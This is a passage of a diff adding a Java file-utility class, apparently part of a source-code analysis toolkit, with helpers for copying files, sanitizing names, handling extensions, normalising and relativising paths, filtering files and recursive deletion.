+	/**
+	 * Convenience method that handles exception handling for creating a FileInputStream
+	 *
+	 * @return inputstream from file, or null on exception
+	 */
+	public static InputStream getFileInputStream (File file)
+	{
+		try {
+			return new FileInputStream(file);
+		}
+		catch (FileNotFoundException e) {
+			logger.trace("Could not open file for input stream", e);
+			return null;
+		}
+	}
+
+	private static void copyFile (File from, File to, boolean append) throws IOException
+	{
+		// Try to exclude the case where the files are the same. If that happens,
+		// succeed except in 'append' mode since that is probably not the intention
+		// The logic below works if from and to both exist - and if one of them
+		// doesn't they can't be the same file!
+		from = tryMakeCanonical(from);
+		to = tryMakeCanonical(to);
+		if (from.equals(to)) {
+			if (append)
+				throw new IOException("Trying to append the contents of file " + from + " onto itself");
+			else
+				return; // Nothing to do.
+		}
+
+		try (FileInputStream fis = new FileInputStream(from);
+				InputStream in = new BufferedInputStream(fis))
+		{
+			if (!to.exists())
+				to.createNewFile();
+			try (FileOutputStream fos = new FileOutputStream(to, append);
+				OutputStream out = new BufferedOutputStream(fos))
+			{
+				byte[] buf = new byte[16 * 1024];
+				int count;
+				while ((count = in.read(buf)) > 0)
+					out.write(buf, 0, count);
+			}
+		}
+		to.setExecutable(canExecute(from));
+	}
+
+	/**
+	 * In the current Java security model, calling {@link File#canExecute()} requires the same
+	 * permission as calling {@link Runtime#exec(String)}. This makes it impossible to run under a
+	 * restrictive security manager if we blindly check for a file's execute bit.
+	 * <p>
+	 * To work around, if an {@link AccessControlException} arises, and it seems to refer to a lack of
+	 * {@link SecurityConstants#FILE_EXECUTE_ACTION} permission, we suppress the exception and return
+	 * <code>false</code>. Other {@link AccessControlException}s are re-thrown, and otherwise the
+	 * return value coincides with {@link File#canExecute()} on the argument.
+	 */
+	private static boolean canExecute (File file)
+	{
+		try {
+			return file.canExecute();
+		}
+		catch (AccessControlException e) {
+			if (e.getPermission() instanceof FilePermission
+			    && ((FilePermission) e.getPermission()).getActions().contains("execute"))
+				return false; // deliberately ignoring security failure
+			throw e;
+		}
+	}
+
+
+	private static final BitSet allowedCharacters = new BitSet(256);
+	static {
+		for (int i = 'a'; i <= 'z'; i++)
+			allowedCharacters.set(i);
+		for (int i = 'A'; i <= 'Z'; i++)
+			allowedCharacters.set(i);
+		for (int i = '0'; i <= '9'; i++)
+			allowedCharacters.set(i);
+		allowedCharacters.set('-');
+		allowedCharacters.set('_');
+		allowedCharacters.set(' ');
+		allowedCharacters.set('[');
+		allowedCharacters.set(']');
+	}
+
+
+	public static final String sanitizeFilename (String name)
+	{
+		StringBuffer safe = new StringBuffer();
+		for (int i = 0; i < name.length(); i++) {
+			char c = name.charAt(i);
+			if (allowedCharacters.get(c))
+				safe.append(c);
+		}
+		return safe.toString();
+	}
+
+	/**
+	 * Create a unique file in the given directory. Takes a base name and the directory to put it in,
+	 * and returns the file that was created. Attempts to preserve the extensions (if any) - so
+	 * "foo.trap.gz" would become "foo-5.trap.gz", not "foo.trap.gz-5". Guarantees that the file it
+	 * returns was successfully created by this call - so in a multithreaded / multiprocess
+	 * environment can be used to create a globally unique file.
+	 *
+	 * @param baseDirectory the directory that will eventually contain the file. This must exist.
+	 * @param fileName the simple name of the file to create. It should not contain any directory
+	 *          separators.
+	 * @return a file in <code>baseDirectory</code> with a name based on <code>fileName</code> that
+	 *         did not exist when created.
+	 * @throws IllegalArgumentException if <code>baseDirectory</code> does not exist or
+	 *           <code>fileName</code> is not a simple file name.
+	 */
+	public static final File createUniqueFile (File baseDirectory, String fileName)
+	{
+		return createUniqueFileImpl(baseDirectory, fileName, false);
+	}
+
+	/**
+	 * Create a unique subdirectory in the given directory. Takes a base name and the directory to put
+	 * it in, and returns the directory that was created. Attempts to preserve the extensions (if any)
+	 * - so "foo.d" would become "foo-5.d", not "foo.d-5". Guarantees that the directory it returns
+	 * was successfully created by this call - so in a multithreaded / multiprocess environment can be
+	 * used to create a globally unique directory.
+	 *
+	 * @param baseDirectory the directory that will eventually contain the file. This must exist.
+	 * @param dirName the simple name of the directory to create. It should not contain any directory
+	 *          separators.
+	 * @return a directory in <code>baseDirectory</code> with a name based on <code>dirName</code>
+	 *         that did not exist when created.
+	 * @throws ResourceError if there was a problem creating the file
+	 * @throws IllegalArgumentException if <code>baseDirectory</code> does not exist or
+	 *           <code>dirName</code> is not a simple name.
+	 */
+	public static final File createUniqueDirectory (File baseDirectory, String dirName)
+	{
+		return createUniqueFileImpl(baseDirectory, dirName, true);
+	}
+
+	private static final File createUniqueFileImpl (File baseDirectory, String fileName, boolean directory)
+	{
+
+		if (!baseDirectory.exists())
+			throw new IllegalArgumentException("FileUtil.makeUniqueName(" + baseDirectory + ",\"" + fileName + "\"): "
+			                                   + " directory " + baseDirectory + " does not exist.");
+		if (!baseDirectory.isDirectory())
+			throw new IllegalArgumentException("FileUtil.makeUniqueName(" + baseDirectory + ",\"" + fileName + "\"): "
+			                                   + " file " + baseDirectory + " is not a directory.");
+		if (fileName.contains("/"))
+			throw new IllegalArgumentException("FileUtil.makeUniqueName(" + baseDirectory + ",\"" + fileName + "\"): "
+			                                   + " file name \"" + fileName + "\" is not a simple file name.");
+
+		fileName = replaceInvalidFilenameChars(fileName);
+
+		String baseName = fileName;
+		String name = baseName;
+		File candidateFile = new File(baseDirectory, name);
+		String extension = extension(new File(baseName));
+
+		int i = 1;
+
+		try {
+			while (!(directory ? candidateFile.mkdir() : candidateFile.createNewFile())) {
+				// Add a suffix, trying to do that before the extension
+				if (extension.length() > 0)
+					name = baseName.substring(0, baseName.length() - extension.length()) + "-" + i + extension;
+				else
+					name = baseName + "-" + i;
+
+				candidateFile = new File(baseDirectory, name);
+				i++;
+			}
+		}
+		catch (IOException e) {
+			throw new ResourceError("Failed to create a unique file in " + baseDirectory, e);
+		}
+
+		return candidateFile;
+	}
+
+	public static boolean containsInvalidFilenameChars (String filename)
+	{
+		return rpInvalidFilenameCharacters.matcher(filename).find();
+	}
+
+	public static String replaceInvalidFilenameChars (String fileName)
+	{
+		// This method gets called from all over the code base. Compile the regex only once (but only
+		// when it is actually needed) by using a LazyRegexPatternHolder
+		return rpInvalidFilenameCharacters.matcher(fileName).replaceAll("_");
+	}
+
+	/**
+	 * Append a number to a file name, with the intention of making it unique. Similar to
+	 * <code>makeUniqueName</code>, but does not actually make the name unique: it relies on the
+	 * client calling it with a unique number. Attempts to preserve the extensions of files - so
+	 * "foo.tar.gz" would become "foo-5.tar.gz", not "foo.tar.gz-5".
+	 *
+	 * @param file the filename to modify
+	 * @param indexToAdd the number to append at the end of the filename
+	 * @return the modified filename with <code>indexToAdd</code> appended at the end
+	 */
+	public static final File appendToName (File file, int indexToAdd)
+	{
+		String path = file.getPath();
+		String extension = extension(file);
+		if (extension.length() > 0)
+			path = path.substring(0, path.length() - extension.length()) + "-" + indexToAdd + extension;
+		else
+			path = path + "-" + indexToAdd;
+		return new File(path);
+	}
+
+	/**
+	 * Get the extension of the file. Results are of the form: ".java", ".C", "." or "" (no
+	 * extension). The '.gz' extension is treated specially - if there is another extension before it
+	 * the two extensions are lumped together (eg. '.trap.gz', '.tar.gz'). We add another special case
+	 * for '.xml.zip', just to support our own conventions.
+	 */
+	public static String extension (File f)
+	{
+		return extension(f.getName());
+	}
+
+
+	/**
+	 * Get the extension of the file. Results are of the form: ".java", ".C", "." or "" (no
+	 * extension). The '.gz' extension is treated specially - if there is another extension before it
+	 * the two extensions are lumped together (eg. '.trap.gz', '.tar.gz'). We add another special case
+	 * for '.xml.zip', just to support our own conventions.
+	 */
+	public static String extension (Path f)
+	{
+		return extension(f.getFileName().toString());
+	}
+
+	/**
+	 * Return the extension of the file name.
+	 *
+	 * @see FileUtil#extension(File)
+	 */
+	public static String extension (String name)
+	{
+		int i = name.lastIndexOf('.');
+		if (i == -1)
+			return "";
+		String extension = name.substring(i);
+		if (extension.equals(".gz") || extension.equals(".br")) {
+			// Try to find another extension
+			int before = name.lastIndexOf('.', i - 1);
+			if (before == -1)
+				return extension;
+			String combinedExtension = name.substring(before);
+			return combinedExtension;
+		}
+		else if (extension.equals(".zip")) {
+			// Just special-case .xml.zip
+			if (name.endsWith(".xml.zip"))
+				return ".xml.zip";
+		}
+
+		return extension;
+	}
+
+	/**
+	 * Return the base name of the file obtained by stripping off leading directories and the
+	 * extension.
+	 */
+	public static String basename (File f)
+	{
+		return stripExtension(f.getName());
+	}
+
+	/**
+	 * Return the base name of the file obtained by stripping off leading directories and the
+	 * extension. Returns the empty string if the path has no components.
+	 */
+	public static String basename(Path path) {
+		Path filename = path.getFileName();
+		return filename == null ? "" : stripExtension(filename.toString());
+	}
+
+	/**
+	 * Strips the extension off a file name. E.g.: 'MyFile.java' becomes 'MyFile'. Note that
+	 * there are some special cases (see definition of {@link #extension(String)}). For example,
+	 * 'MyFile.tar.gz' becomes 'MyFile' (.tar.gz is considered the extension), but
+	 * 'MyFile.foo.bar' becomes 'MyFile.foo'.
+	 *
+	 * Note that this method retains an optional path prefix. E.g.:
+	 * '/foo/bar/MyFile.java' becomes '/foo/bar/MyFile'. If a completely stripped filename
+	 * (without path, without extension) is desired, then use {@link #basename(File)}.
+	 *
+	 * @param name name of a file (with or without fully qualified path)
+	 * @return input without the file extension
+	 */
+	public static String stripExtension (String name)
+	{
+		return name.substring(0, name.length() - extension(name).length());
+	}
+
+	/**
+	 * Return a file with the same name and in the same directory as a given file, but with a
+	 * different extension.
+	 */
+	public static File withExtension (File f, String extension)
+	{
+		return new File(withExtension(f.getPath(), extension));
+	}
+
+	/**
+	 * Given a string denoting a file name, change its extension.
+	 */
+	public static String withExtension (String path, String extension)
+	{
+		String oldExtension = extension(path);
+		return path.substring(0, path.length() - oldExtension.length()) + extension;
+	}
+
+	/**
+	 * A file filter that searches for files (not directories) by any of the given names. Can do
+	 * case-sensitive or case-insensitive matching
+	 */
+	public static FileFilter nameFilter (final boolean caseSensitive, final String ... names)
+	{
+		return new FileFilterImpl(names, caseSensitive, false);
+	}
+
+	/**
+	 * A file filter that matches a set of ant-like patterns against files in a given directory.
+	 *
+	 * @param cwd The current directory -- the patterns are matched against relative paths under this
+	 *          directory, and files outside of it are considered to not match the patterns (though
+	 *          they will still be accepted by the filter if {@code exclude == true}).
+	 * @param exclude Flag indicating whether files matching the patterns should be included or
+	 *          excluded by the filter.
+	 * @param patterns A list of patterns.
+	 * @return The new filter.
+	 */
+	public static FileFilter antlikeFilter (File cwd, boolean exclude, String ... patterns)
+	{
+		return new PatternFilter(cwd, Mode.Ant, exclude, patterns);
+	}
+
+	/**
+	 * A file filter that matches file by regular expression.
+	 */
+	public static FileFilter regexNameFilter (String regex, boolean matchFiles)
+	{
+		return new RegexFileFilter(Pattern.compile(regex), matchFiles);
+	}
+
+	/**
+	 * A file filter that finds files (not directories) by a list of extensions. Can do case-sensitive
+	 * or case-insensitive matching on the extensions. A sample extension should be, for instance,
+	 * ".ql".
+	 */
+	public static FileFilter extensionFilter (final boolean caseSensitive, final String ... extensions)
+	{
+		return new FileFilterImpl(extensions, caseSensitive, true);
+	}
+
+	/**
+	 * Check whether the given directory contains any files or directories
+	 * as defined by the given FileFilter.
+	 */
+	public static boolean containsAny(File dir, FileFilter filter){
+		if(!dir.isDirectory())
+			return false;
+
+		Stack<File> search = new Stack<>();
+		search.push(dir);
+
+		while (!search.isEmpty()) {
+			File f = search.pop();
+
+			for (File c : list(f)) {
+				if(filter.accept(c))
+					return true;
+				if (f.isDirectory())
+					search.push(c);
+			}
+		}
+		return false;
+	}
+
+	/** A filter that does not accept any file or directory */
+	public static final FileFilter falseFilter = new FileFilter() {
+		@Override
+		public boolean accept(File pathname) {
+			return false;
+		}
+	};
+
+	/**
+	 * A file filter that either picks all files or all directories
+	 */
+	public static FileFilter kindFilter (final boolean files)
+	{
+		return new FileFilter() {
+			@Override
+			public boolean accept (File pathname)
+			{
+				if (pathname.isFile() && files)
+					return true;
+				if (pathname.isDirectory() && !files)
+					return true;
+				return false;
+			}
+		};
+	}
+
+	/**
+	 * A file filter that accepts precisely the set of files specified as an argument to this method
+	 * (using the set's {@link Set#contains(Object)} method, so up to {@link File}'s equals/hashCode).
+	 */
+	public static FileFilter setFilter (final Set<File> acceptedFiles)
+	{
+		return new FileFilter() {
+			@Override
+			public boolean accept (File pathname)
+			{
+				return acceptedFiles.contains(pathname);
+			}
+		};
+	}
+
+	/**
+	 * Negate a file filter
+	 */
+	public static FileFilter negateFilter (final FileFilter filter)
+	{
+		return new FileFilter() {
+			@Override
+			public boolean accept (File pathname)
+			{
+				return !filter.accept(pathname);
+			}
+		};
+	}
+
+	/**
+	 * Take the conjunction of several file filters
+	 */
+	public static FileFilter andFilters(final FileFilter... filters) {
+		return new FileFilter() {
+			@Override
+			public boolean accept (File pathname)
+			{
+				for (FileFilter filter : filters) {
+					if (!filter.accept(pathname)) {
+						return false;
+					}
+				}
+				return true;
+			}
+		};
+	}
+
+	/**
+	 * Santize path string To handle windows drive letters and cross-platform builds.
+	 * @param pathString to be sanitized
+	 * @return sanitized path string
+	 */
+	private static String santizePathString(String pathString) {
+		// Replace ':' by '_', as the extractor does - to handle Windows drive letters
+		pathString = pathString.replace(':', '_');
+
+		// To support cross-platform builds: if the build is done on one system (eg. Windows, with \)
+		// but the path is then read in another system (ie with /) then the separators will be
+		// interpreted incorrectly. Normalise all possible separators to the current one
+		pathString = pathString.replace('\\', File.separatorChar).replace('/', File.separatorChar);
+		return pathString;
+	}
+
+	/**
+	 * Add an absolute path as a suffix to a given directory. This is used to create source archives.
+	 * For instance, <code>appendAbsolutePath("/home/foo/bar", "/usr/include/stdio.h")</code> produces
+	 * <code>"/home/foo/bar/usr/include/stdio.h"</code>. Various transformations on the paths are done
+	 * to avoid special characters and to give cross-platform compatibility.
+	 *
+	 * @param root the File to use as a root; the result will be a child of that (or itself)
+	 * @param absolutePath the path to append, which should be a Windows or Unix absolute path
+	 */
+	public static File appendAbsolutePath (File root, String absolutePath)
+	{
+		absolutePath = santizePathString(absolutePath);
+
+		return new File(root, absolutePath).getAbsoluteFile();
+	}
+
+	/**
+	 * Add an absolute path as a suffix to a given directory. This is used to create source archives.
+	 * For instance, <code>appendAbsolutePath("/home/foo/bar", "/usr/include/stdio.h")</code> produces
+	 * <code>"/home/foo/bar/usr/include/stdio.h"</code>. Various transformations on the paths are done
+	 * to avoid special characters and to give cross-platform compatibility.
+	 *
+	 * @param root the Path to use as a root; the result will be a child of that (or itself)
+	 * @param absolutePath the path to append, which should be a Windows or Unix absolute path
+	 */
+	public static Path appendAbsolutePath(Path root, String absolutePathString){
+
+		absolutePathString = santizePathString(absolutePathString);
+
+		Path path = Paths.get(absolutePathString);
+
+		if (path.getRoot() != null)
+			path = path.getRoot().relativize(path);
+
+		return root.resolve(path);
+	}
+
+	/**
+	 * Close a resource if it is non-null and has been successfully created. Silently catches
+	 * exceptions that can occur during close.
+	 */
+	public static void close (Closeable resourceToClose)
+	{
+		if (resourceToClose != null) {
+			try {
+				resourceToClose.close();
+			}
+			catch (IOException ignored) {
+				Exceptions.ignore(ignored, "Contract is to ignore");
+			}
+			/*
+			 * Under rare circumstances classes may lie about checked exceptions that they throw.
+			 * Since the intention of this method is to catch all exceptions that are the result
+			 * of IO problems, we check whether the (real) exception that was thrown was an IOException,
+			 * and if so we ignore it.
+			 */
+			catch (UndeclaredThrowableException maybeIgnored) {
+				if (maybeIgnored.getCause() instanceof IOException) {
+					Exceptions.ignore(maybeIgnored, "Undeclared exception was an IOException, ignoring");
+				} else {
+					throw maybeIgnored;
+				}
+			}
+		}
+	}
+
+	/**
+	 * Close a socket if it is non-null. Silently catches exceptions that can occur during close.
+	 * <p>
+	 * This method is necessary because a {@link Socket} is not {@link Closeable} until Java 7.
+	 */
+	public static void close (Socket socket)
+	{
+		if (socket != null) {
+			try {
+				socket.close();
+			}
+			catch (IOException ignored) {
+				Exceptions.ignore(ignored, "Contract is to ignore");
+			}
+		}
+	}
+
+	public static class ResolvedCompressedSourceArchivePaths {
+		public final String srcArchivePath;
+		public final String sourceLocationPrefix;
+		public ResolvedCompressedSourceArchivePaths(String srcArchivePath, String sourceLocationPrefix) {
+			this.srcArchivePath = srcArchivePath;
+			this.sourceLocationPrefix = sourceLocationPrefix;
+		}
+	}
+
+	/**
+	 * Resolve the paths in the compressed source archive.
+	 *
+	 * @param srcArchiveZip
+	 *            - the zip containing the compressed source archive.
+	 * @param convertedSourceLocationPrefix
+	 *            - the source location prefix, converted to a source archive
+	 *            compatible format using
+	 *            {@link FileUtil#convertAbsolutePathForSourceArchive(String)}.
+	 * @return a {@link ResolvedCompressedSourceArchivePaths} class wit
+	 */
+	public static ResolvedCompressedSourceArchivePaths resolveCompressedSourceArchivePaths(File srcArchiveZip, String convertedSourceLocationPrefix) {
+		String srcArchivePath = "";
+		String sourcePath;
+		boolean legacyZip = srcArchiveZip.getName().equals("src_archive.zip");
+		if (legacyZip) {
+			// Location of the source archive in the zip
+			srcArchivePath = FileUtil.convertPathForSourceArchiveZip("");
+			// Location of the source directory within the source archive.
+			sourcePath = srcArchivePath + convertedSourceLocationPrefix;
+		} else if (convertedSourceLocationPrefix.startsWith("/")) {
+			sourcePath = convertedSourceLocationPrefix.substring(1);
+		} else {
+			sourcePath = convertedSourceLocationPrefix;
+		}
+		return new ResolvedCompressedSourceArchivePaths(srcArchivePath, sourcePath);
+	}
+
+	/**
+	 * Converts an absolute path to a path that can be used in the source archive. This involves
+	 * normalising (and canonicalising) the path, stripping any trailing slash, and
+	 * prepending a slash if the path is non-empty.
+	 *
+	 * @param absolutePath The absolute path to convert (must be non-null).
+	 * @return The converted path.
+	 * @throws CatastrophicError If absolutePath is null.
+	 */
+	public static String convertAbsolutePathForSourceArchive(String absolutePath)
+	{
+		// Enforce preconditions.
+		if (absolutePath == null) {
+			throw new CatastrophicError("FileUtil.convertPathForSourceArchiveZip: absolutePath must be non-null");
+		}
+
+		// Normalise the path and replace any instances of the Windows-specific path character ':'.
+		absolutePath = normalisePath(absolutePath);
+		absolutePath = absolutePath.replace(':', '_');
+
+		// Make sure that the path starts with a forward slash (to separate it from "src_archive")
+		// and then strip any trailing forward slash. (Note that if the original path starts off
+		// empty, the net result of these two operations is still empty.)
+		if (!absolutePath.startsWith("/"))
+			absolutePath = "/" + absolutePath;
+		if (absolutePath.endsWith("/"))
+			absolutePath = absolutePath.substring(0, absolutePath.length() - 1);
+
+		return absolutePath;
+	}
+
+	/**
+	 * Converts an absolute path to a path that can be used in the source archive .zip. This involves
+	 * normalising (and canonicalising) the path, stripping any trailing slash and prepending the
+	 * string "src_archive/" (unless the path is empty, when the slash after "src_archive" is
+	 * dropped).
+	 *
+	 * @param absolutePath The absolute path to convert (must be non-null).
+	 * @return The converted path.
+	 * @throws CatastrophicError If absolutePath is null.
+	 */
+	public static String convertPathForSourceArchiveZip(String absolutePath) {
+		return "src_archive" + convertAbsolutePathForSourceArchive(absolutePath);
+	}
+
+	/**
+	 * Construct a child of base by appending a relative path. For example: with base="/usr" and
+	 * relativePath="local/bin/foo", the result is "/usr/local/bin/foo"; if base="C:\odasa" and
+	 * relativePath="projects/foo", then the result is "C:\odasa\projects\foo". The relative path must
+	 * not start with a slash. Normalisation: treat both "/" and "\" as the path separator. As a
+	 * special case, if {@code base} is <code>null</code>, a file representing just the
+	 * {@code relativePath} is constructed.
+	 */
+	public static File fileRelativeTo (File base, String relativePath)
+	{
+		if (!isRelativePath(relativePath))
+			throw new CatastrophicError("Invalid relative path '" + relativePath + "'.");
+
+		return new File(base, relativePath);
+	}
+
+	/**
+	 * Is the given path a relative path suitable for {@link #fileRelativeTo(File, String)}?
+	 */
+	public static boolean isRelativePath (String path)
+	{
+		if (path.startsWith("/")) {
+			return false;
+		}
+		if (path.startsWith("\\")) {
+			return false;
+		}
+		if (Env.getOS() == OS.WINDOWS && path.contains(":")) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * Converts a path to a normalised form. This involves converting any initial lowercase drive
+	 * letter to uppercase, and converting backslashes to forward slashes.
+	 *
+	 * @param path The path to normalise (must be non-null).
+	 * @return The normalised version of the path.
+	 * @throws CatastrophicError If {@code path} is null.
+	 */
+	public static String normalisePath (String path)
+	{
+		// Enforce preconditions.
+		if (path == null) {
+			throw new CatastrophicError("FileUtil.normalisePath: path must be non-null");
+		}
+
+		// Convert any initial lowercase driver letter to uppercase.
+		if (path.length() >= 2 && path.charAt(1) == ':') {
+			char driveLetter = path.charAt(0);
+			if (driveLetter >= 'a' && driveLetter <= 'z') {
+				path = Character.toUpperCase(driveLetter) + path.substring(1);
+			}
+		}
+
+		// Convert any backslashes to forward slashes.
+		path = path.replace('\\', '/');
+
+		return path;
+	}
+
+	/**
+	 * Compute the nearest common parent for two files.
+	 *
+	 * @return The most nested directory which is both a parent of {@code a} and a parent of {@code b}
+	 *         .
+	 * @throws ResourceError if no common parent can be found. This can happen if, for example, the
+	 *           two files are on different Windows drive letters.
+	 */
+	public static File commonParent (File a, File b)
+	{
+		Set<File> parents = new LinkedHashSet<>();
+		for (File cur = a; cur != null; cur = cur.getParentFile())
+			parents.add(cur);
+		for (File cur = b; cur != null; cur = cur.getParentFile())
+			if (!parents.add(cur))
+				return cur;
+		throw new ResourceError("Could not determine a common parent for " + a + " and " + b + ".");
+	}
+
+	/**
+	 * Compute the nearest common parent for a set of files.
+	 *
+	 * @return The most nested directory which is a parent of all files in {@code fs}.
+	 * @throws ResourceError if no common parent can be found. This can happen if, for example, two of
+	 *           the files are on different Windows drive letters, or the list is empty.
+	 */
+	public static File commonParent (List<File> fs)
+	{
+		if (fs.isEmpty()) {
+			throw new CatastrophicError("No files to find common parent of");
+		}
+		File cur = fs.get(0);
+		for (File f : fs) {
+			cur = commonParent(cur, f);
+		}
+		return cur;
+	}
+
+	/**
+	 * Compute the relative path to <code>file</code> from <code>baseDirectory</code>. Fails with a
+	 * {@link ResourceError} if <code>file</code> is not a child of <code>baseDirectory</code>. Tries
+	 * canonical paths and comparing normal file paths. The returned path is relative (ie does not
+	 * start with a slash).
+	 *
+	 * @throws ResourceError if a relative path cannot be determined
+	 */
+	public static String relativePath (File file, File baseDirectory)
+	{
+		String candidate = relativePathOpt(file, baseDirectory);
+		if (candidate != null)
+			return candidate;
+
+		throw new ResourceError("Could not determine a relative path to " + file + " from " + baseDirectory);
+	}
+
+	/**
+	 * Compute the relative path to <code>file</code> from <code>baseDirectory</code>. Returns
+	 * <code>file.getAbsolutePath()</code> if <code>file</code> is not a child of
+	 * <code>baseDirectory</code>. Tries canonical paths and comparing normal file paths.
+	 */
+	public static String tryMakeRelativePath (File file, File baseDirectory)
+	{
+		String candidate = relativePathOpt(file, baseDirectory);
+		return candidate != null ? candidate : file.getAbsolutePath();
+	}
+
+	public static String relativePathOpt (File file, File baseDirectory)
+	{
+		try {
+			File canonicalToFile = file.getCanonicalFile();
+			File canonicalToBase = baseDirectory.getCanonicalFile();
+			String canonicalRelative = relativePathAsIsOpt(canonicalToFile, canonicalToBase);
+			if (canonicalRelative != null)
+				return canonicalRelative;
+		}
+		catch (IOException ignored) {
+			Exceptions.ignore(ignored, "Fall through to comparing standard paths");
+		}
+
+		String relative = relativePathAsIsOpt(file, baseDirectory);
+		return relative;
+	}
+
+	/**
+	 * The same as {@link #relativePathOpt(File, File)}, but it does not canonicalize its arguments.
+	 */
+	public static String relativePathAsIsOpt (File childFile, File parentFile)
+	{
+		String child = childFile.getPath();
+		String parent = parentFile.getPath();
+		int parentLength = parent.length();
+		// Is the child too short?
+		if (child.length() <= parentLength)
+			return null;
+		// Is the parent not even a prefix?
+		if (!child.startsWith(parent))
+			return null;
+		// Is the parent prefix a full dir name? (catches child=/home and parent=/ho)
+		if (child.charAt(parentLength) == File.separatorChar)
+			return child.substring(parentLength + 1);
+		// We also need to check the previous character to handle
+		// cases like parent=/ or parent=c:\
+		if (parentLength > 0 && child.charAt(parentLength - 1) == File.separatorChar)
+			return child.substring(parentLength);
+		return null;
+	}
+
+	public static boolean isWithin (File file, File baseDirectory)
+	{
+		return (relativePathOpt(file, baseDirectory) != null)
+		       || (tryMakeCanonical(file).equals(tryMakeCanonical(baseDirectory)));
+	}
+
+	/**
+	 * Constructs the relative path to the target {@code f} from {@code base}. The base file or
+	 * directory does not need to be a parent of the target but a common parent needs to exist.
+	 *
+	 * @param f the target file
+	 * @param base the working directory (or a file within the working directory)
+	 * @return the relative path from {@code base} to {@code f}
+	 * @throws ResourceError if there is no common parent according to {@link FileUtil#commonParent}
+	 */
+	public static String relativePathLink (File f, File base)
+	{
+		f = f.getAbsoluteFile();
+		base = base.getAbsoluteFile();
+		File parent = commonParent(f, base);
+		StringBuilder path = new StringBuilder();
+		for (File cur = base; !cur.equals(parent); cur = cur.getParentFile())
+			path.append(".." + File.separator);
+		path.append(relativePath(f, parent));
+		return path.toString();
+	}
+
+	/**
+	 * Try to convert a file into a canonical file. Handles the possible IO exception by just making
+	 * the path absolute.
+	 */
+	public static File tryMakeCanonical (File f)
+	{
+		try {
+			return f.getCanonicalFile();
+		}
+		catch (IOException ignored) {
+			Exceptions.ignore(ignored, "Can't log error: Could be too verbose.");
+			return new File(simplifyPath(f));
+		}
+	}
+
+
+	private static class FileFilterImpl implements FileFilter
+	{
+		private final String[] names;
+		private final boolean  caseSensitive;
+		private final boolean  extensionOnly;
+
+
+		private FileFilterImpl (String[] names, boolean caseSensitive, boolean extensionOnly)
+		{
+			this.names = Arrays.copyOf(names, names.length);
+			this.caseSensitive = caseSensitive;
+			this.extensionOnly = extensionOnly;
+
+			if (!caseSensitive)
+				for (int i = 0; i < this.names.length; i++)
+					this.names[i] = StringUtil.lc(this.names[i]);
+		}
+
+		@Override
+		public boolean accept (File pathname)
+		{
+			if (!pathname.isFile())
+				return false;
+
+			String nameToMatch = caseSensitive ? pathname.getName() : StringUtil.lc(pathname.getName());
+			for (String s : names) {
+				if (extensionOnly && nameToMatch.endsWith(s))
+					return true;
+				if (!extensionOnly && nameToMatch.equals(s))
+					return true;
+			}
+			return false;
+		}
+	}
+
+	private static class PatternFilter implements FileFilter
+	{
+		private final PathMatcher matcher;
+		private final boolean     exclude;
+		private final File        cwd;
+
+
+		private PatternFilter (File cwd, Mode mode, boolean exclude, String ... patterns)
+		{
+			this.cwd = cwd;
+			this.exclude = exclude;
+			matcher = new PathMatcher(mode, Arrays.asList(patterns));
+		}
+
+		@Override
+		public boolean accept (File f)
+		{
+			String path = relativePathOpt(f, cwd);
+			if (path == null)
+				return exclude;
+			else
+				return exclude ^ matcher.matches(path);
+		}
+	}
+
+	private static class RegexFileFilter implements FileFilter
+	{
+		private final Pattern pattern;
+		private final boolean matchFiles;
+
+
+		private RegexFileFilter (Pattern pattern, boolean matchFiles)
+		{
+			this.pattern = pattern;
+			this.matchFiles = matchFiles;
+		}
+
+		@Override
+		public boolean accept (File pathname)
+		{
+			if (pathname.isFile() != matchFiles) {
+				return false;
+			}
+			return pattern.matcher(pathname.getName()).matches();
+		}
+	}
+
+
+	/**
+	 * Is <code>parent</code> a (recursive) parent of <code>child</code>? The case where parent is the
+	 * same as child is <strong>not</strong> counted. This could return the wrong result in odd
+	 * situations involving links, but tries to make paths canonical if possible.
+	 */
+	public static boolean recursiveParentOf (File parent, File child)
+	{
+		return relativePathOpt(child, parent) != null;
+	}
+
+	/**
+	 * Delete the given file, even if it is a non-empty directory -- in which case it is traversed and
+	 * all contents are removed. This method makes a best-effort attempt to avoid infinite loops
+	 * through symlinks, though that part is largely untested at the time of writing.
+	 *
+	 * @deprecated use <code>FileUtil8.recursiveDelete</code> instead.
+	 * @param file The file or directory that should be deleted
+	 * @return true, if the file or directory was successfully deleted, or false otherwise.
+	 */
+	@Deprecated
+	public static boolean recursiveDelete (File file)
+	{
+		return recursiveDelete(file, falseFilter) == DeletionResult.Deleted;
+	}
+
+
+	public enum DeletionResult
+	{
+		Deleted, SkippedSomeFiles, Failed
+	};
+
+
+	/**
+	 * Delete the given file, even if it is a non-empty directory; however, preserve files (or
+	 * directories) that match the given {@link FileFilter} for exceptions. This method makes a
+	 * best-effort attempt to avoid infinite loops through symlinks, though that part is largely
+	 * untested at time of writing [in particular, a loop of read-only symlinks may lead to infinite
+	 * recursion].
+	 *
+	 * @deprecated use <code>FileUtil8.recursiveDelete</code> instead.
+	 * @param file the file or folder to delete
+	 * @param exceptions a {@link FileFilter} that will be consulted before attempting to delete
+	 *          anything; if it accepts, the current file is not deleted (which means its parent
+	 *          directories will be preserved, too).
+	 * @return A {@link DeletionResult} indicating the status: Deleted if the file has been
+	 *         successfully deleted (and no longer exists), SkippedSomeFiles if the file exists either
+	 *         because it was skipped or because it's the parent directory of some skipped files, and
+	 *         Failed if a file we tried to delete could not be removed.
+	 */
+	@Deprecated
+	public static DeletionResult recursiveDelete (File file, FileFilter exceptions)
+	{
+		if (exceptions.accept(file))
+			return DeletionResult.SkippedSomeFiles;
+		if (file.delete())
+			return DeletionResult.Deleted;
+		if (file.isDirectory()) {
+			File[] children = file.listFiles();
+			if (children == null)
+				return DeletionResult.Failed;
+			boolean skippedSomeChildren = false;
+			for (File f : children) {
+				DeletionResult childResult = recursiveDelete(f, exceptions);
+				if (childResult == DeletionResult.Failed)
+					return DeletionResult.Failed;
+				else if (childResult == DeletionResult.SkippedSomeFiles)
+					skippedSomeChildren = true;
+			}
+			if (file.delete())
+				return DeletionResult.Deleted;
+			else
+				return skippedSomeChildren ? DeletionResult.SkippedSomeFiles : DeletionResult.Failed;
+		}
+		else
+			return DeletionResult.Failed;
+	}
+
+	/**
+	 * Takes a File path and return another File path that has a different extension. Notice that this
+	 * operation works on the path name represented by the File object. No attempt to resolve
+	 * symlinks, or otherwise canonicalize the path name, is made. The file referenced by the file
+	 * path may or may not exist.
+	 *
+	 * @param file the path from which to generate the new path
+	 * @param newExtension the desired extension
